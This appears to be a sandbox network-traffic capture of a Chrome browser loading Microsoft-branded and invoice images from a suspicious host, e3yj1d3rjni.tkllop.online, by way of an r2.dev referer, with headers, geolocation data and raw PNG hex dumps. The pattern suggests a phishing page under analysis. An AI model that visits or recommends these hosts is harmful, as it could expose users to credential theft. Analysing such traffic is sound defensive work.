2024-10-29 09:47:12 UTC	460	IN	Data Raw: 34 33 38 0d 0a 7b 22 69 70 56 65 72 73 69 6f 6e 22 3a 34 2c 22 69 70 41 64 64 72 65 73 73 22 3a 22 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 22 2c 22 6c 61 74 69 74 75 64 65 22 3a 33 32 2e 38 31 34 38 39 39 2c 22 6c 6f 6e 67 69 74 75 64 65 22 3a 2d 39 36 2e 38 37 39 32 30 34 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 20 6f 66 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 74 69 6d 65 5a 6f 6e 65 22 3a 22 2d 30 35 3a 30 30 22 2c 22 7a 69 70 43 6f 64 65 22 3a 22 37 35 32 34 37 22 2c 22 63 69 74 79 4e 61 6d 65 22 3a 22 44 61 6c 6c 61 73 22 2c 22 72 65 67 69 6f 6e 4e 61 6d 65 22 3a 22 54 65 78 61 73 22 2c 22 69 73 50 72 6f 78 79 22 3a 74 72 75 65 2c 22 63 6f 6e 74 69 6e 65 Data Ascii: 438{"ipVersion":4,"ipAddress":"173.254.250.72","latitude":32.814899,"longitude":-96.879204,"countryName":"United States of America","countryCode":"US","timeZone":"-05:00","zipCode":"75247","cityName":"Dallas","regionName":"Texas","isProxy":true,"contine
2024-10-29 09:47:12 UTC	627	IN	Data Raw: 2c 22 41 6d 65 72 69 63 61 5c 2f 44 65 74 72 6f 69 74 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 49 6e 64 69 61 6e 61 70 6f 6c 69 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4b 6e 6f 78 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 4d 61 72 65 6e 67 6f 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 50 65 74 65 72 73 62 75 72 67 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 54 65 6c 6c 5f 43 69 74 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 65 76 61 79 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 56 69 6e 63 65 6e 6e 65 73 22 2c 22 41 6d 65 72 69 63 61 5c 2f 49 6e 64 69 61 6e 61 5c 2f 57 69 6e 61 6d 61 63 22 2c 22 41 6d 65 Data Ascii: ,"America\/Detroit","America\/Indiana\/Indianapolis","America\/Indiana\/Knox","America\/Indiana\/Marengo","America\/Indiana\/Petersburg","America\/Indiana\/Tell_City","America\/Indiana\/Vevay","America\/Indiana\/Vincennes","America\/Indiana\/Winamac","Ame
2024-10-29 09:47:12 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49762	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:14 UTC	644	OUT	GET /static/media/microsoft_logo.png/ HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	993	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:15 GMT Content-Type: image/png Content-Length: 1552 Connection: close Content-Disposition: inline; filename="microsoft_logo.png" Last-Modified: Sat, 04 Nov 2023 15:12:53 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3YMgIO6uXd3AgKLMxTZg%2Fhp%2FHHoXkvwcaBrElN5BEFAmpZKYN1YzBpSkpUkbvMMIawY0yZUkASzvset0ubBt0EGstxwiCfccBEEyKGY%2Bm%2FCPJBPY3CqJUZSymaZhfPum47dBr74l3pqhtccS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e3a6a12eaa4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1190&sent=4&recv=5&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1222&delivery_rate=2391412&cwnd=251&unsent_bytes=0&cid=a312cce349450b85&ts=230&x=0"
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 6c 00 00 00 18 08 06 00 00 00 1f d5 18 1a 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 05 5c 49 44 41 54 68 81 ed 59 4d 8e db 36 14 fe 1e 4d 64 19 bb 27 b0 d1 0b 8c 6f 10 77 d3 2e e3 03 14 b0 73 02 ca 22 b4 1e cf da 90 2c 9d a0 0a d0 03 b8 cb 76 53 e5 06 ce 05 52 fb 04 75 ba 0c 44 be 2e 44 6a 18 cd 9f 27 c0 c0 0e e0 6f 33 e6 e3 23 f9 a8 8f 7c ef f1 0d fd 37 fd 91 71 24 5e 6f Data Ascii: PNGIHDRlsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-\IDAThYM6Md'ow.s",vSRuD.Dj'o3#\|7q$^o
2024-10-29 09:47:15 UTC	183	IN	Data Raw: 4d 7d 37 f7 da 27 3b d6 da bc 28 8a c3 6a b5 da 86 b7 2e 98 ab 7d 32 18 63 ba d9 e6 7d 08 09 9d 01 98 9d e4 86 d5 75 bd 13 42 dc 00 80 b5 76 e7 e5 2e 1b 8c 98 79 24 a5 ec 9e be d2 bd 93 5a 58 6b 6f 80 f6 2d 07 00 48 d3 74 ee 4e 63 5b e9 70 2e 6a e3 75 dd 43 fb 0e 5c a5 a3 12 42 cc bb 15 0c 63 4c e9 c9 f2 6f a2 40 e7 00 60 b3 5e af cb ee 5c 9d aa c9 01 40 15 ce 15 ee 2d 70 a5 7e 2f 51 92 24 a5 b5 36 72 ff 95 d8 d2 39 a4 f5 17 1c 8f b3 72 89 17 3c 8d 0b 61 df 19 2e 84 5d 70 c1 4b e2 7f 34 9a bf 89 ea 95 9e 1f 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: M}7';(j.}2c}uBv.y$ZXko-HtNc[p.juC\BcLo@`^\@-p~/Q$6r9r<a.]pK4IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49758	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:14 UTC	643	OUT	GET /static/media/key_workshcool.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	1043	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:15 GMT Content-Type: image/png Content-Length: 3716 Connection: close Content-Disposition: inline; filename="key_workshcool.png" Last-Modified: Sat, 04 Nov 2023 15:28:20 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bgInAxLsHrX9ToaL4COhVaDwEVsfoqou7JCJDyAYmC%2BxOrQaoCdagqrDtUaR6IUf%2BppoRtDoawsHHz5vFZd6rBd0B9tGRf%2FDIB%2BKoCvKzhyQsrblfLstPfZhsn3qkb%2Fj3YSX8yU2520KUTj6"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e3a8a06ddaf-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1174&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1221&delivery_rate=2427493&cwnd=32&unsent_bytes=0&cid=aa671c113ea3862f&ts=267&x=0"
2024-10-29 09:47:15 UTC	326	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 96 00 00 00 96 08 06 00 00 00 3c 01 71 e2 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 0d d0 49 44 41 54 78 9c ed dd 7f 70 1c e5 79 07 f0 e7 79 f7 8c 14 24 41 81 da 9e f2 cb 53 c7 09 49 c0 21 a9 6b 87 d4 f2 ed ed e9 14 08 16 4d f9 61 c0 e0 24 d0 e9 b8 d0 34 7f 74 86 0e ed 34 93 94 3f 42 27 43 3b c9 a4 d0 96 66 48 9b 14 02 2d bf ec 41 e0 80 d0 dd ed 59 4e 4d 1a 33 49 68 0d 89 Data Ascii: PNGIHDR<qsBIT\|d_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-IDATxpyy$ASI!kMa$4t4?B'C;fH-AYNM3Ih
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: a5 94 52 4a 29 a5 94 52 0b c0 69 17 d0 4e c3 c3 c3 7d 8d 46 e3 43 44 b4 0a c0 87 88 e8 3c 11 39 93 99 cf 20 a2 33 99 f9 74 22 7a 13 c0 34 33 1f 14 91 d7 98 79 0f 33 bf 08 e0 f9 81 81 81 e7 46 47 47 8f a5 fb 57 74 87 ac 07 cb 78 9e b7 4e 44 ae 60 e6 4b 01 bc 9f 99 9d f9 ee 0c 40 1d c0 7f 30 f3 13 44 b4 c5 f7 fd 97 da 58 eb 3b 4a 26 83 e5 ba ee b9 cc bc 19 c0 4d cc 7c 5e 52 c7 01 f0 9c 31 e6 eb d3 d3 d3 ff b2 73 e7 ce e9 a4 8e d3 8d 32 15 2c d7 75 57 10 d1 e7 00 6c 34 c6 9c 62 eb b8 00 26 8d 31 77 f7 f6 f6 7e 65 db b6 6d 6f d8 3a 6e 96 65 22 58 a5 52 e9 f4 7a bd 7e 07 80 5b 6d 06 ea 64 00 26 99 f9 8e 6a b5 fa f7 44 24 69 d5 91 05 1d 1f 2c d7 75 4b 44 f4 f5 24 bb bc 79 d8 c9 cc 37 55 2a 95 1f a5 5d 48 a7 ea d8 60 0d 0f 0f f7 d5 eb f5 bb 00 dc c2 cc 2d d5 09 Data Ascii: RJ)RiN}FCD<9 3t"z43y3FGGWtxND`K@0DX;J&M\|^R1s2,uWl4b&1w~emo:ne"XRz~[md&jD$i,uKD$y7U*]H`-
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 8d 31 d5 b0 e5 00 2e 76 5d b7 95 ee 3c 93 ac 04 0b 40 e8 80 25 80 9f ce e3 51 de 3f 03 10 e7 ad e4 37 01 fc 79 8b fb 6e a7 d0 ff 30 33 0f 33 be cf 72 2d d6 59 09 16 33 7f 20 62 d5 f7 5b dd 97 ef fb ff 69 8c d9 44 11 f7 e6 88 88 00 4c 03 b8 a1 56 ab bd d0 ea fe db c5 f7 fd ff 16 91 d0 a7 48 8d 31 bf 65 bb 1e db 6c b5 58 a1 c3 0c 22 32 af 17 3e 2b 95 ca 63 22 b2 06 c0 93 f4 b6 91 6e 00 01 80 27 8d 31 ab 7d df 7f 7c 9e e5 b6 cd cc 7b 8d 61 ce b5 5a 48 0a ac f4 f5 cc fc 1b 61 cb 8d 31 51 ff f0 73 9a 69 8d 46 5c d7 fd 35 22 5a e1 38 8e 39 7e fc f8 9e 89 89 89 9f cf 77 9f ed 06 60 2f 33 7f e4 e4 e5 22 72 66 1a f5 d8 64 25 58 22 72 a6 31 a1 8d e3 82 4f ac 67 4e ce bf b7 d0 fd 24 01 40 e8 df c7 cc 5d 1f 2c 5b e3 58 a1 b7 60 8c 31 5d 3d 73 8b e3 38 51 6f 47 9f 61 Data Ascii: 1.v]<@%Q?7yn033r-Y3 b[iDLVH1elX"2>+c"n'1}\|{aZHa1QsiF\5"Z89~w`/3"rfd%X"r1OgN$@],[X`1]=s8QoGa
2024-10-29 09:47:15 UTC	652	IN	Data Raw: 88 88 3c cf 5b 2b 22 db 98 b9 d9 04 22 8f 00 d8 d8 89 e1 ea 88 ab c2 66 c6 c6 c6 5e ab 56 ab 57 02 b8 12 c0 8b 69 d5 d1 e2 6c cd 0b 16 e7 91 1b 22 ba 06 c0 03 9d 78 b5 d8 f1 c1 9a e5 fb fe 16 22 fa 20 11 6d a2 79 cc 5d ba 00 53 41 10 7c 35 97 cb 59 7f 6b 3b ce 50 84 31 e6 da 4e 0c 57 c7 77 85 51 8a c5 62 5e 44 6e 26 a2 6b 28 99 59 6b be 4f 44 0f 35 1a 8d 7f 9c 7d ca a2 50 28 84 de b7 4b a2 2b 7c bb 98 4f 45 fc 1b 33 df d8 29 dd 62 66 83 35 cb 75 dd 5e 63 4c 11 c0 08 11 ad 13 91 0f b4 7a 55 47 74 e2 aa 92 88 be c7 cc 4f 00 d8 ea fb fe 2b 27 6f 93 56 b0 88 62 8f 73 3d 0c e0 86 4e 08 57 e6 83 75 b2 52 a9 74 7a 10 04 17 11 d1 85 00 ce 23 a2 73 45 e4 34 63 cc 69 44 44 22 f2 86 31 e6 75 22 7a 1d c0 61 66 7e 01 c0 0f c2 82 74 b2 a8 60 11 d1 6d 00 62 df 2b 34 c6 Data Ascii: <[+""f^VWil"x" my]SA\|5Yk;P1NWwQb^Dn&k(YkOD5}P(K+\|OE3)bf5u^cLzUGtO+'oVbs=NWuRtz#sE4ciDD"1u"zaf~t`mb+4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49760	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:14 UTC	639	OUT	GET /static/media/logo-off-1.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	1029	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:15 GMT Content-Type: image/png Content-Length: 330 Connection: close Content-Disposition: inline; filename="logo-off-1.png" Last-Modified: Sat, 04 Nov 2023 15:12:26 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gvLEbxO19H29UBJEGQwVLQoyGNB75m1Ld0zsPnvK2OTY91gKvTqIlif3fTUpHLMgk30XxdvRhbfIYTMb522LwNtSvyIZzz8ztFXP2ZJ7EPZapRLKEKM2jG7TiSYURpSN5PBNZUiLYpDPRPYA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e3a98446bd4-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1075&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1217&delivery_rate=2574222&cwnd=251&unsent_bytes=0&cid=246ab56a2c05be6d&ts=329&x=0"
2024-10-29 09:47:15 UTC	330	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 80 00 00 00 80 08 03 00 00 00 f4 e0 91 f9 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 0f 50 4c 54 45 47 70 4c f2 50 22 7f ba 00 00 a4 ef ff b9 00 a0 04 f9 f2 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 01 62 4b 47 44 00 88 05 1d 48 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 00 62 49 44 41 54 78 9c ed ce 49 0d 00 30 10 03 b1 f4 e0 8f b9 52 17 42 be 1e 00 23 67 35 e5 b7 9b 02 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: PNGIHDRsBITOPLTEGpLP"tRNS@fbKGDH_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh-bIDATxI0RB#g5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49764	104.21.57.143	443	2476	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 09:47:14 UTC	639	OUT	GET /static/media/bg_invoice.png HTTP/1.1 Host: e3yj1d3rjni.tkllop.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-29 09:47:15 UTC	1050	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 09:47:15 GMT Content-Type: image/png Content-Length: 344709 Connection: close Content-Disposition: inline; filename="bg_invoice.png" Last-Modified: Sat, 04 Nov 2023 15:12:40 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: same-origin Vary: origin Cache-Control: max-age=14400 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CajZbz6Xvr1EREGskyH%2BGH5kIQkmeWsw%2FJZejcM8nSF9kxAhcmfZDICWq%2FeX%2FC%2FD%2B0Nzqx4Xj7T%2BM4Tiez4DOGYyJ82uJBNdnbGhXwYQQ7UP86S6INQhI%2Bez%2Bn5R7FRoILPegG3DTVe4bJkM"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da23e3a99886c54-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1144&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1217&delivery_rate=2485836&cwnd=250&unsent_bytes=0&cid=cd85a9a49ea4989b&ts=330&x=0"
2024-10-29 09:47:15 UTC	319	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 55 00 00 03 a1 08 02 00 00 00 79 2b d2 dd 00 00 00 03 73 42 49 54 08 08 08 db e1 4f e0 00 00 00 5f 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 41 50 50 31 00 00 08 99 e3 4a 4f cd 4b 2d ca 4c 56 28 28 ca 4f cb cc 49 e5 52 00 03 63 13 2e 13 4b 13 4b a3 44 03 03 03 0b 03 08 30 34 30 30 36 04 92 46 40 b6 39 54 28 d1 00 05 98 98 9b a5 01 a1 b9 59 b2 99 29 88 cf 05 00 4f ba 15 68 1b 2d d8 8c 00 00 20 00 49 44 41 54 78 9c ec bd eb 9a dc b6 0e 2c 5a 80 7a 9c fd ac fb bc ff 77 56 ec 16 6a ff c0 85 20 a5 9e 19 3b c9 5a b6 43 c4 e9 51 ab 25 8a 37 91 a8 02 08 ca ff fd ff fe ef db e3 ed ed ed ed 38 8e e3 11 ff a9 1e c7 a1 87 1e aa a2 aa aa 2a 29 80 88 40 44 48 6c f9 89 65 34 8f b4 2f 2f 1b 4d Data Ascii: PNGIHDRUy+sBITO_zTXtRaw profile type APP1JOK-LV((OIRc.KKD04006F@9T(Y)Oh- IDATx,ZzwVj ;ZCQ%78*)@DHle4//M
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 7a 7b f7 9c b7 8f a4 5f f8 23 95 c3 9b a3 1f 4f ed d3 32 15 f2 be ae f8 0f 64 43 a6 5e c8 9e 05 e1 a4 f4 4b 65 8d af 32 b9 e5 37 11 11 d0 47 17 82 21 76 9e 46 9a 99 9d a7 3d ed b4 f3 7c 3e 9f e7 f3 7c 3e 9f cf e7 f3 db b7 6f df 9e df 1e 6f 8f b7 b7 2f 6f 6f 6f 6f 8f e3 f1 78 0b 02 e0 71 1c c7 e1 2c 80 53 00 47 31 00 0e ff ff d7 e5 dd f2 c3 f2 7a b8 fc 48 e4 9d 6f 5b b6 6c d9 b2 65 cb 96 2d bf b0 10 2f 81 fd 8b 53 9f 53 a4 42 3d ff bb 44 e4 03 0d 6c e5 08 6e b2 83 4f e7 9f 2f fe fe 60 de c6 95 2f 9f f4 19 f9 9b ab f4 c7 44 b0 50 43 41 1f fd 63 f9 ba a9 dd 17 6d 3d 93 05 5b 7e 7f 61 a1 7f 33 b3 d3 8c e7 79 9e 76 9e e7 f9 7c 3e 8f e3 78 1e 4f 3d 54 34 7a c5 e3 ad c9 e3 f1 78 3c 1e 6f 8f b7 e3 08 0e c0 1d 01 44 f4 38 9c 00 d0 f4 02 d8 f2 13 49 d0 80 af c9 d8 Data Ascii: z{_#O2dC^Ke27G!vF=\|>\|>oo/ooooxq,SG1zHo[le-/SSB=DlnO/`/DPCAcm=[~a3yv\|>xO=T4zx<oD8I
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: bd ee 39 f2 c4 e9 3e 50 0e bf 35 e9 a4 6e 7a 1e 01 72 33 80 33 7b c1 e4 0c e6 0e 26 9b 6c dc b2 65 cb 96 2d 5b b6 fc 3c c2 8b de 33 1b fc e3 8c 91 64 00 62 82 b4 e9 2a 2c b8 74 fc 74 79 dc 64 79 e9 c4 c0 87 1c c0 cd 42 ed 05 e1 8f 8b 66 6c 38 fe 1b d0 1b 5d 67 6f 18 bb 6a 62 ae 80 89 ec 68 07 77 d9 b9 64 ac 11 10 23 17 03 84 36 fe a2 c1 fa 86 fa 57 0a 60 02 fb b3 b9 6a b5 73 cd 52 4d f2 3d 70 a5 5f fa 31 85 70 9f f2 bd fd ff 1d 5a a8 93 3a eb 83 66 fe 44 cb 0f c0 31 be 8a fa f1 90 f0 15 10 54 b8 f6 8a 03 98 c1 df b6 0d f7 f7 92 da f9 2f c1 ff 79 9e 87 ea f3 f9 54 b7 d9 03 f0 c0 00 1e 14 f0 f9 7c 1c 7a e4 86 7f 19 f9 ff f1 78 fb f2 e5 8b 47 01 74 1f 80 e3 f0 dd 00 47 f0 c0 bd 05 c0 cf 2a d3 58 38 1c db c6 70 8a 75 ba 42 3b 9b b2 34 ad cc 33 c7 1c 5a e6 86 Data Ascii: 9>P5nzr33{&le-[<3db,ttydyBfl8]gojbhwd#6W`jsRM=p_1pZ:fD1T/yT\|zxGtGX8puB;43Z
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 3f 8d 46 55 75 84 af 4a 33 11 21 44 70 1a 54 cc 4e 87 ed 0a 31 31 20 b1 dd 58 f6 ef 20 d5 8f 00 dc 81 c9 21 22 d2 a3 32 f5 eb 07 10 5d cc d8 33 f8 bf 22 fa 42 d5 3d f2 5b b3 ba e7 61 5c 5b 6b e7 49 8f 77 88 04 fd 8a c3 40 b7 60 7b 1e c5 fd 4c 89 15 d2 4e 05 14 34 7c 5a df 02 30 14 82 cd ec 79 1d 52 dc 81 95 14 28 09 2d 4b bf 00 54 39 cc c8 60 1f 9c 07 e8 15 c3 32 ca fb 71 fa 70 e4 35 93 5b eb c5 f0 5e 15 ce 5e af 53 a5 b6 26 b8 27 0e d6 ef ed 01 f7 14 84 54 0e e7 b3 95 c9 4b e2 65 c5 c7 52 93 92 d8 5f 45 55 8f 43 44 f4 38 b4 2f 04 68 2c 00 c4 69 04 1d dd 62 cb 6f 23 31 92 19 cd cc 49 20 11 c9 c1 8d 76 f2 f1 38 7d 81 7f f9 f2 1f 7a 0c 54 af 49 04 74 79 1c 19 18 e0 38 8e e3 10 91 e3 38 90 8e 28 ff eb 22 ff 7b a5 ad 20 1a 43 f2 70 98 4a d8 3f 96 ab 0d 47 2f Data Ascii: ?FUuJ3!DpTN11 X !"2]3"B=[a\[kIw@`{LN4\|Z0yR(-KT9`2qp5[^^S&'TKeR_EUCD8/h,ibo#1I v8}zTIty88("{ CpJ?G/
2024-10-29 09:47:15 UTC	1369	IN	Data Raw: 92 06 e1 31 ca d9 a2 1b 48 1a 9f 55 85 b1 54 5f bd 74 aa 84 19 54 d4 d4 54 34 51 af 33 15 95 81 aa 41 12 80 9d 67 3f 19 96 4d 6b b6 fe 89 0e 08 06 00 b9 3f 03 73 81 46 ab ba 50 69 ab 66 31 cc e7 ad 00 88 a5 cd 13 3d d1 a5 c8 01 de aa b6 6e 97 2b df 8a 74 e6 40 b5 69 63 00 38 a5 49 11 11 58 1a e0 30 72 3f d6 f9 0b 20 2d 26 17 54 48 05 8d 56 fe 1c 49 75 0c 9d 5d c3 c2 5b 24 80 b6 bd 21 aa 44 5b 7e 75 a9 77 25 1c 7d c8 e3 50 3b 8f 43 8f 53 4f b7 e4 77 66 c8 0f 1e b5 6e 44 66 e9 24 41 ff d5 d7 ff ef 4e f3 42 d6 6a 79 59 4d 3f 5a 7f 8d 2f ce 25 fd 12 a1 64 c2 6b cc 49 4f c2 00 13 31 9a 41 0c 30 90 10 8b 2d 00 c2 bd 0a b1 be 6a f8 ee 2b 44 01 83 1c e1 9b e5 d6 7f c5 20 02 a0 a2 9a 2c 40 64 66 60 fd dd 31 b6 6c d9 b2 65 cb 96 2d 3f 9b b8 0f 38 e5 38 e8 78 5e 21 Data Ascii: 1HUT_tTT4Q3Ag?Mk?sFPif1=n+t@ic8IX0r? -&THVIu][$!D[~uw%}P;CSOwfnDf$ANBjyYM?Z/%dkIO1A0-j+D ,@df`1le-?88x^!
